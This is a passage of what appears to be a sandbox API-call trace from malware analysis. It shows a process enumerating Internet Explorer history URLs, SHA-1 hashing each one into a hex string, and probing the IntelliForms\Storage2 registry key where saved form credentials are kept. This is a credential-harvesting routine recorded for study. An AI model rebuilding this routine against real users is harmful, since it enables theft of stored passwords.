(lpString="08") returned 2 [0097.450] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2815740 [0097.450] lstrcpyW (in: lpString1=0x2815740, lpString2="7CC9596CDFAA50E346DBAF45073A315E" | out: lpString1="7CC9596CDFAA50E346DBAF45073A315E") returned="7CC9596CDFAA50E346DBAF45073A315E" [0097.450] lstrcatW (in: lpString1="7CC9596CDFAA50E346DBAF45073A315E", lpString2="08" | out: lpString1="7CC9596CDFAA50E346DBAF45073A315E08") returned="7CC9596CDFAA50E346DBAF45073A315E08" [0097.450] LocalFree (hMem=0x2815670) returned 0x0 [0097.450] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="33") returned 2 [0097.450] lstrlenW (lpString="7CC9596CDFAA50E346DBAF45073A315E08") returned 34 [0097.450] lstrlenW (lpString="33") returned 2 [0097.450] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7910 [0097.450] lstrcpyW (in: lpString1=0x28e7910, lpString2="7CC9596CDFAA50E346DBAF45073A315E08" | out: lpString1="7CC9596CDFAA50E346DBAF45073A315E08") returned="7CC9596CDFAA50E346DBAF45073A315E08" [0097.450] lstrcatW (in: lpString1="7CC9596CDFAA50E346DBAF45073A315E08", lpString2="33" | out: lpString1="7CC9596CDFAA50E346DBAF45073A315E0833") returned="7CC9596CDFAA50E346DBAF45073A315E0833" [0097.450] LocalFree (hMem=0x2815740) returned 0x0 [0097.450] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="4D") returned 2 [0097.450] lstrlenW (lpString="7CC9596CDFAA50E346DBAF45073A315E0833") returned 36 [0097.450] lstrlenW (lpString="4D") returned 2 [0097.450] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7670 [0097.450] lstrcpyW (in: lpString1=0x28e7670, lpString2="7CC9596CDFAA50E346DBAF45073A315E0833" | out: lpString1="7CC9596CDFAA50E346DBAF45073A315E0833") returned="7CC9596CDFAA50E346DBAF45073A315E0833" [0097.450] lstrcatW (in: lpString1="7CC9596CDFAA50E346DBAF45073A315E0833", lpString2="4D" | out: lpString1="7CC9596CDFAA50E346DBAF45073A315E08334D") returned="7CC9596CDFAA50E346DBAF45073A315E08334D" [0097.451] LocalFree (hMem=0x28e7910) returned 0x0 [0097.451] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="33") returned 2 [0097.451] lstrlenW (lpString="7CC9596CDFAA50E346DBAF45073A315E08334D") returned 38 [0097.451] lstrlenW (lpString="33") returned 2 [0097.451] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7910 [0097.451] lstrcpyW (in: lpString1=0x28e7910, lpString2="7CC9596CDFAA50E346DBAF45073A315E08334D" | out: lpString1="7CC9596CDFAA50E346DBAF45073A315E08334D") returned="7CC9596CDFAA50E346DBAF45073A315E08334D" [0097.451] lstrcatW (in: lpString1="7CC9596CDFAA50E346DBAF45073A315E08334D", lpString2="33" | out: lpString1="7CC9596CDFAA50E346DBAF45073A315E08334D33") returned="7CC9596CDFAA50E346DBAF45073A315E08334D33" [0097.451] LocalFree (hMem=0x28e7670) returned 0x0 [0097.451] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="66") returned 2 [0097.451] lstrlenW (lpString="7CC9596CDFAA50E346DBAF45073A315E08334D33") returned 40 [0097.451] lstrlenW (lpString="66") returned 2 [0097.451] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7670 [0097.451] lstrcpyW (in: lpString1=0x28e7670, lpString2="7CC9596CDFAA50E346DBAF45073A315E08334D33" | out: lpString1="7CC9596CDFAA50E346DBAF45073A315E08334D33") returned="7CC9596CDFAA50E346DBAF45073A315E08334D33" [0097.451] lstrcatW (in: lpString1="7CC9596CDFAA50E346DBAF45073A315E08334D33", lpString2="66" | out: lpString1="7CC9596CDFAA50E346DBAF45073A315E08334D3366") returned="7CC9596CDFAA50E346DBAF45073A315E08334D3366" [0097.451] LocalFree (hMem=0x28e7910) returned 0x0 [0097.451] CryptDestroyHash (hHash=0x7202e30) returned 1 [0097.451] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0097.451] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0097.451] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0097.451] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0097.451] LocalFree (hMem=0x28e7670) returned 0x0 [0097.451] CoTaskMemFree (pv=0x28c8440) [0097.451] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0097.451] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/Desktop/gBd6-4sgl8Sgy5S.gif", lpSrch="?") returned 0x0 [0097.451] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0097.452] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.452] lstrlenW (lpString="file:///C:/Users/aETAdzjz/Desktop/gBd6-4sgl8Sgy5S.gif") returned 53 [0097.452] CryptHashData (hHash=0x7202e30, pbData=0x71e63a0, dwDataLen=0x6c, dwFlags=0x0) returned 1 [0097.452] CryptGetHashParam (in: hHash=0x7202e30, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.452] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="F1") returned 2 [0097.452] lstrlenW (lpString="") returned 0 [0097.452] lstrlenW (lpString="F1") returned 2 [0097.452] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x7223a40 [0097.452] lstrcpyW (in: lpString1=0x7223a40, lpString2="" | out: lpString1="") returned="" [0097.452] lstrcatW (in: lpString1="", lpString2="F1" | out: lpString1="F1") returned="F1" [0097.452] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="09") returned 2 [0097.452] lstrlenW (lpString="F1") returned 2 [0097.452] lstrlenW (lpString="09") returned 2 [0097.452] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28c8440 [0097.452] lstrcpyW (in: lpString1=0x28c8440, lpString2="F1" | out: lpString1="F1") returned="F1" [0097.452] lstrcatW (in: lpString1="F1", lpString2="09" | out: lpString1="F109") returned="F109" [0097.452] LocalFree (hMem=0x7223a40) returned 0x0 [0097.452] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="FE") returned 2 [0097.452] lstrlenW (lpString="F109") returned 4 [0097.452] lstrlenW (lpString="FE") returned 2 [0097.452] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28c9b60 [0097.452] lstrcpyW (in: lpString1=0x28c9b60, lpString2="F109" | out: lpString1="F109") returned="F109" [0097.452] lstrcatW (in: lpString1="F109", lpString2="FE" | out: lpString1="F109FE") returned="F109FE" [0097.453] LocalFree (hMem=0x28c8440) returned 0x0 [0097.453] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="5C") returned 2 [0097.453] lstrlenW (lpString="F109FE") returned 6 [0097.453] lstrlenW (lpString="5C") returned 2 [0097.453] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28c8440 [0097.453] lstrcpyW (in: lpString1=0x28c8440, lpString2="F109FE" | out: lpString1="F109FE") returned="F109FE" [0097.453] lstrcatW (in: lpString1="F109FE", lpString2="5C" | out: lpString1="F109FE5C") returned="F109FE5C" [0097.453] LocalFree (hMem=0x28c9b60) returned 0x0 [0097.453] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="BC") returned 2 [0097.453] lstrlenW (lpString="F109FE5C") returned 8 [0097.453] lstrlenW (lpString="BC") returned 2 [0097.453] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28c9b60 [0097.453] lstrcpyW (in: lpString1=0x28c9b60, lpString2="F109FE5C" | out: lpString1="F109FE5C") returned="F109FE5C" [0097.453] lstrcatW (in: lpString1="F109FE5C", lpString2="BC" | out: lpString1="F109FE5CBC") returned="F109FE5CBC" [0097.453] LocalFree (hMem=0x28c8440) returned 0x0 [0097.453] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="14") returned 2 [0097.453] lstrlenW (lpString="F109FE5CBC") returned 10 [0097.453] lstrlenW (lpString="14") returned 2 [0097.453] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x71d0010 [0097.453] lstrcpyW (in: lpString1=0x71d0010, lpString2="F109FE5CBC" | out: lpString1="F109FE5CBC") returned="F109FE5CBC" [0097.453] lstrcatW (in: lpString1="F109FE5CBC", lpString2="14" | out: lpString1="F109FE5CBC14") returned="F109FE5CBC14" [0097.453] LocalFree (hMem=0x28c9b60) returned 0x0 [0097.453] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="42") returned 2 [0097.453] lstrlenW (lpString="F109FE5CBC14") returned 12 [0097.453] lstrlenW (lpString="42") returned 2 [0097.453] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x71ceee0 [0097.453] lstrcpyW (in: lpString1=0x71ceee0, lpString2="F109FE5CBC14" | out: lpString1="F109FE5CBC14") returned="F109FE5CBC14" [0097.453] lstrcatW (in: lpString1="F109FE5CBC14", lpString2="42" | out: lpString1="F109FE5CBC1442") returned="F109FE5CBC1442" [0097.453] LocalFree (hMem=0x71d0010) returned 0x0 [0097.453] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="E8") returned 2 [0097.453] lstrlenW (lpString="F109FE5CBC1442") returned 14 [0097.453] lstrlenW (lpString="E8") returned 2 [0097.453] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x71d0010 [0097.453] lstrcpyW (in: lpString1=0x71d0010, lpString2="F109FE5CBC1442" | out: lpString1="F109FE5CBC1442") returned="F109FE5CBC1442" [0097.453] lstrcatW (in: lpString1="F109FE5CBC1442", lpString2="E8" | out: lpString1="F109FE5CBC1442E8") returned="F109FE5CBC1442E8" [0097.453] LocalFree (hMem=0x71ceee0) returned 0x0 [0097.453] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="91") returned 2 [0097.454] lstrlenW (lpString="F109FE5CBC1442E8") returned 16 [0097.454] lstrlenW (lpString="91") returned 2 [0097.454] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x71ceee0 [0097.454] lstrcpyW (in: lpString1=0x71ceee0, lpString2="F109FE5CBC1442E8" | out: lpString1="F109FE5CBC1442E8") returned="F109FE5CBC1442E8" [0097.454] lstrcatW (in: lpString1="F109FE5CBC1442E8", lpString2="91" | out: lpString1="F109FE5CBC1442E891") returned="F109FE5CBC1442E891" [0097.454] LocalFree (hMem=0x71d0010) returned 0x0 [0097.454] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="D5") returned 2 [0097.454] lstrlenW (lpString="F109FE5CBC1442E891") returned 18 [0097.454] lstrlenW (lpString="D5") returned 2 [0097.454] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x72912f0 [0097.454] lstrcpyW (in: lpString1=0x72912f0, lpString2="F109FE5CBC1442E891" | out: lpString1="F109FE5CBC1442E891") returned="F109FE5CBC1442E891" [0097.454] lstrcatW (in: lpString1="F109FE5CBC1442E891", lpString2="D5" | out: lpString1="F109FE5CBC1442E891D5") returned="F109FE5CBC1442E891D5" [0097.454] LocalFree (hMem=0x71ceee0) returned 0x0 [0097.454] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="DF") returned 2 [0097.454] lstrlenW (lpString="F109FE5CBC1442E891D5") returned 20 [0097.454] lstrlenW (lpString="DF") returned 2 [0097.454] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x7290b70 [0097.454] lstrcpyW (in: lpString1=0x7290b70, lpString2="F109FE5CBC1442E891D5" | out: lpString1="F109FE5CBC1442E891D5") returned="F109FE5CBC1442E891D5" [0097.454] lstrcatW (in: lpString1="F109FE5CBC1442E891D5", lpString2="DF" | out: lpString1="F109FE5CBC1442E891D5DF") returned="F109FE5CBC1442E891D5DF" [0097.454] LocalFree (hMem=0x72912f0) returned 0x0 [0097.454] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="A1") returned 2 [0097.454] lstrlenW (lpString="F109FE5CBC1442E891D5DF") returned 22 [0097.454] lstrlenW (lpString="A1") returned 2 [0097.454] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x72912f0 [0097.454] lstrcpyW (in: lpString1=0x72912f0, lpString2="F109FE5CBC1442E891D5DF" | out: lpString1="F109FE5CBC1442E891D5DF") returned="F109FE5CBC1442E891D5DF" [0097.454] lstrcatW (in: lpString1="F109FE5CBC1442E891D5DF", lpString2="A1" | out: lpString1="F109FE5CBC1442E891D5DFA1") returned="F109FE5CBC1442E891D5DFA1" [0097.454] LocalFree (hMem=0x7290b70) returned 0x0 [0097.454] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="22") returned 2 [0097.454] lstrlenW (lpString="F109FE5CBC1442E891D5DFA1") returned 24 [0097.454] lstrlenW (lpString="22") returned 2 [0097.454] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x7290b70 [0097.454] lstrcpyW (in: lpString1=0x7290b70, lpString2="F109FE5CBC1442E891D5DFA1" | out: lpString1="F109FE5CBC1442E891D5DFA1") returned="F109FE5CBC1442E891D5DFA1" [0097.454] lstrcatW (in: lpString1="F109FE5CBC1442E891D5DFA1", lpString2="22" | out: lpString1="F109FE5CBC1442E891D5DFA122") returned="F109FE5CBC1442E891D5DFA122" [0097.641] LocalFree (hMem=0x72912f0) returned 0x0 [0097.642] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="15") returned 2 [0097.642] lstrlenW (lpString="F109FE5CBC1442E891D5DFA122") returned 26 [0097.642] lstrlenW (lpString="15") returned 2 [0097.642] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2814970 [0097.642] lstrcpyW (in: lpString1=0x2814970, lpString2="F109FE5CBC1442E891D5DFA122" | out: lpString1="F109FE5CBC1442E891D5DFA122") returned="F109FE5CBC1442E891D5DFA122" [0097.642] lstrcatW (in: lpString1="F109FE5CBC1442E891D5DFA122", lpString2="15" | out: lpString1="F109FE5CBC1442E891D5DFA12215") returned="F109FE5CBC1442E891D5DFA12215" [0097.642] LocalFree (hMem=0x7290b70) returned 0x0 [0097.642] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="B2") returned 2 [0097.642] lstrlenW (lpString="F109FE5CBC1442E891D5DFA12215") returned 28 [0097.642] lstrlenW (lpString="B2") returned 2 [0097.642] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2815190 [0097.642] lstrcpyW (in: lpString1=0x2815190, lpString2="F109FE5CBC1442E891D5DFA12215" | out: lpString1="F109FE5CBC1442E891D5DFA12215") returned="F109FE5CBC1442E891D5DFA12215" [0097.642] lstrcatW (in: lpString1="F109FE5CBC1442E891D5DFA12215", lpString2="B2" | out: lpString1="F109FE5CBC1442E891D5DFA12215B2") returned="F109FE5CBC1442E891D5DFA12215B2" [0097.642] LocalFree (hMem=0x2814970) returned 0x0 [0097.642] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="AD") returned 2 [0097.642] lstrlenW (lpString="F109FE5CBC1442E891D5DFA12215B2") returned 30 [0097.642] lstrlenW (lpString="AD") returned 2 [0097.642] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2814970 [0097.642] lstrcpyW (in: lpString1=0x2814970, lpString2="F109FE5CBC1442E891D5DFA12215B2" | out: lpString1="F109FE5CBC1442E891D5DFA12215B2") returned="F109FE5CBC1442E891D5DFA12215B2" [0097.642] lstrcatW (in: lpString1="F109FE5CBC1442E891D5DFA12215B2", lpString2="AD" | out: lpString1="F109FE5CBC1442E891D5DFA12215B2AD") returned="F109FE5CBC1442E891D5DFA12215B2AD" [0097.642] LocalFree (hMem=0x2815190) returned 0x0 [0097.642] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="DB") returned 2 [0097.642] lstrlenW (lpString="F109FE5CBC1442E891D5DFA12215B2AD") returned 32 [0097.642] lstrlenW (lpString="DB") returned 2 [0097.642] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2815190 [0097.642] lstrcpyW (in: lpString1=0x2815190, lpString2="F109FE5CBC1442E891D5DFA12215B2AD" | out: lpString1="F109FE5CBC1442E891D5DFA12215B2AD") returned="F109FE5CBC1442E891D5DFA12215B2AD" [0097.642] lstrcatW (in: lpString1="F109FE5CBC1442E891D5DFA12215B2AD", lpString2="DB" | out: lpString1="F109FE5CBC1442E891D5DFA12215B2ADDB") returned="F109FE5CBC1442E891D5DFA12215B2ADDB" [0097.642] LocalFree (hMem=0x2814970) returned 0x0 [0097.642] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="37") returned 2 [0097.642] lstrlenW (lpString="F109FE5CBC1442E891D5DFA12215B2ADDB") returned 34 [0097.642] lstrlenW (lpString="37") returned 2 [0097.643] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7670 [0097.643] lstrcpyW (in: lpString1=0x28e7670, lpString2="F109FE5CBC1442E891D5DFA12215B2ADDB" | out: lpString1="F109FE5CBC1442E891D5DFA12215B2ADDB") returned="F109FE5CBC1442E891D5DFA12215B2ADDB" [0097.643] lstrcatW (in: lpString1="F109FE5CBC1442E891D5DFA12215B2ADDB", lpString2="37" | out: lpString1="F109FE5CBC1442E891D5DFA12215B2ADDB37") returned="F109FE5CBC1442E891D5DFA12215B2ADDB37" [0097.643] LocalFree (hMem=0x2815190) returned 0x0 [0097.643] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="DD") returned 2 [0097.643] lstrlenW (lpString="F109FE5CBC1442E891D5DFA12215B2ADDB37") returned 36 [0097.643] lstrlenW (lpString="DD") returned 2 [0097.643] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7910 [0097.643] lstrcpyW (in: lpString1=0x28e7910, lpString2="F109FE5CBC1442E891D5DFA12215B2ADDB37" | out: lpString1="F109FE5CBC1442E891D5DFA12215B2ADDB37") returned="F109FE5CBC1442E891D5DFA12215B2ADDB37" [0097.643] lstrcatW (in: lpString1="F109FE5CBC1442E891D5DFA12215B2ADDB37", lpString2="DD" | out: lpString1="F109FE5CBC1442E891D5DFA12215B2ADDB37DD") returned="F109FE5CBC1442E891D5DFA12215B2ADDB37DD" [0097.643] LocalFree (hMem=0x28e7670) returned 0x0 [0097.643] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="5D") returned 2 [0097.643] lstrlenW (lpString="F109FE5CBC1442E891D5DFA12215B2ADDB37DD") returned 38 [0097.643] lstrlenW (lpString="5D") returned 2 [0097.643] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7670 [0097.643] lstrcpyW (in: lpString1=0x28e7670, lpString2="F109FE5CBC1442E891D5DFA12215B2ADDB37DD" | out: lpString1="F109FE5CBC1442E891D5DFA12215B2ADDB37DD") returned="F109FE5CBC1442E891D5DFA12215B2ADDB37DD" [0097.643] lstrcatW (in: lpString1="F109FE5CBC1442E891D5DFA12215B2ADDB37DD", lpString2="5D" | out: lpString1="F109FE5CBC1442E891D5DFA12215B2ADDB37DD5D") returned="F109FE5CBC1442E891D5DFA12215B2ADDB37DD5D" [0097.643] LocalFree (hMem=0x28e7910) returned 0x0 [0097.643] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="16") returned 2 [0097.643] lstrlenW (lpString="F109FE5CBC1442E891D5DFA12215B2ADDB37DD5D") returned 40 [0097.643] lstrlenW (lpString="16") returned 2 [0097.643] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7910 [0097.643] lstrcpyW (in: lpString1=0x28e7910, lpString2="F109FE5CBC1442E891D5DFA12215B2ADDB37DD5D" | out: lpString1="F109FE5CBC1442E891D5DFA12215B2ADDB37DD5D") returned="F109FE5CBC1442E891D5DFA12215B2ADDB37DD5D" [0097.643] lstrcatW (in: lpString1="F109FE5CBC1442E891D5DFA12215B2ADDB37DD5D", lpString2="16" | out: lpString1="F109FE5CBC1442E891D5DFA12215B2ADDB37DD5D16") returned="F109FE5CBC1442E891D5DFA12215B2ADDB37DD5D16" [0097.643] LocalFree (hMem=0x28e7670) returned 0x0 [0097.643] CryptDestroyHash (hHash=0x7202e30) returned 1 [0097.643] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0097.643] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0097.643] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0097.643] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0097.643] LocalFree (hMem=0x28e7910) returned 0x0 [0097.643] CoTaskMemFree (pv=0x71e63a0) [0097.644] IEnumSTATURL:Next (in: This=0x7293c80, celt=0x1, rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x0 | out: rgelt=0x54dfad8, pceltFetched=0x54dfd60*=0x1) returned 0x0 [0097.644] StrStrIW (lpFirst="file:///C:/Users/aETAdzjz/AppData/Roaming/fdkus0pnkYX_9FlWPTF.jpg", lpSrch="?") returned 0x0 [0097.644] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444ff60) returned 1 [0097.746] CryptCreateHash (in: hProv=0x444ff60, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.746] lstrlenW (lpString="file:///C:/Users/aETAdzjz/AppData/Roaming/fdkus0pnkYX_9FlWPTF.jpg") returned 65 [0097.746] CryptHashData (hHash=0x7203760, pbData=0x7223920, dwDataLen=0x84, dwFlags=0x0) returned 1 [0097.746] CryptGetHashParam (in: hHash=0x7203760, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.746] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="5A") returned 2 [0097.746] lstrlenW (lpString="") returned 0 [0097.746] lstrlenW (lpString="5A") returned 2 [0097.746] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x7223e30 [0097.746] lstrcpyW (in: lpString1=0x7223e30, lpString2="" | out: lpString1="") returned="" [0097.746] lstrcatW (in: lpString1="", lpString2="5A" | out: lpString1="5A") returned="5A" [0097.746] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="56") returned 2 [0097.746] lstrlenW (lpString="5A") returned 2 [0097.746] lstrlenW (lpString="56") returned 2 [0097.746] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28c9b60 [0097.746] lstrcpyW (in: lpString1=0x28c9b60, lpString2="5A" | out: lpString1="5A") returned="5A" [0097.746] lstrcatW (in: lpString1="5A", lpString2="56" | out: lpString1="5A56") returned="5A56" [0097.746] LocalFree (hMem=0x7223e30) returned 0x0 [0097.746] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="E9") returned 2 [0097.746] lstrlenW (lpString="5A56") returned 4 [0097.746] lstrlenW (lpString="E9") returned 2 [0097.746] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28c8440 [0097.746] lstrcpyW (in: lpString1=0x28c8440, lpString2="5A56" | out: lpString1="5A56") returned="5A56" [0097.746] lstrcatW (in: lpString1="5A56", lpString2="E9" | out: lpString1="5A56E9") returned="5A56E9" [0097.746] LocalFree (hMem=0x28c9b60) returned 0x0 [0097.746] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="36") returned 2 [0097.746] lstrlenW (lpString="5A56E9") returned 6 [0097.746] lstrlenW (lpString="36") returned 2 [0097.746] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28c9b60 [0097.746] lstrcpyW (in: lpString1=0x28c9b60, lpString2="5A56E9" | out: lpString1="5A56E9") returned="5A56E9" [0097.746] lstrcatW (in: lpString1="5A56E9", lpString2="36" | out: lpString1="5A56E936") returned="5A56E936" [0097.746] LocalFree (hMem=0x28c8440) returned 0x0 [0097.746] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="F0") returned 2 [0097.746] lstrlenW (lpString="5A56E936") returned 8 [0097.746] lstrlenW (lpString="F0") returned 2 [0097.746] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28c8440 [0097.746] lstrcpyW (in: lpString1=0x28c8440, lpString2="5A56E936" | out: lpString1="5A56E936") returned="5A56E936" [0097.746] lstrcatW (in: lpString1="5A56E936", lpString2="F0" | out: lpString1="5A56E936F0") returned="5A56E936F0" [0097.746] LocalFree (hMem=0x28c9b60) returned 0x0 [0097.747] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="63") returned 2 [0097.747] lstrlenW (lpString="5A56E936F0") returned 10 [0097.747] lstrlenW (lpString="63") returned 2 [0097.747] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x71ceee0 [0097.747] lstrcpyW (in: lpString1=0x71ceee0, lpString2="5A56E936F0" | out: lpString1="5A56E936F0") returned="5A56E936F0" [0097.747] lstrcatW (in: lpString1="5A56E936F0", lpString2="63" | out: lpString1="5A56E936F063") returned="5A56E936F063" [0097.747] LocalFree (hMem=0x28c8440) returned 0x0 [0097.747] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="67") returned 2 [0097.747] lstrlenW (lpString="5A56E936F063") returned 12 [0097.747] lstrlenW (lpString="67") returned 2 [0097.747] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x71d0010 [0097.747] lstrcpyW (in: lpString1=0x71d0010, lpString2="5A56E936F063" | out: lpString1="5A56E936F063") returned="5A56E936F063" [0097.747] lstrcatW (in: lpString1="5A56E936F063", lpString2="67" | out: lpString1="5A56E936F06367") returned="5A56E936F06367" [0097.747] LocalFree (hMem=0x71ceee0) returned 0x0 [0097.747] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="58") returned 2 [0097.747] lstrlenW (lpString="5A56E936F06367") returned 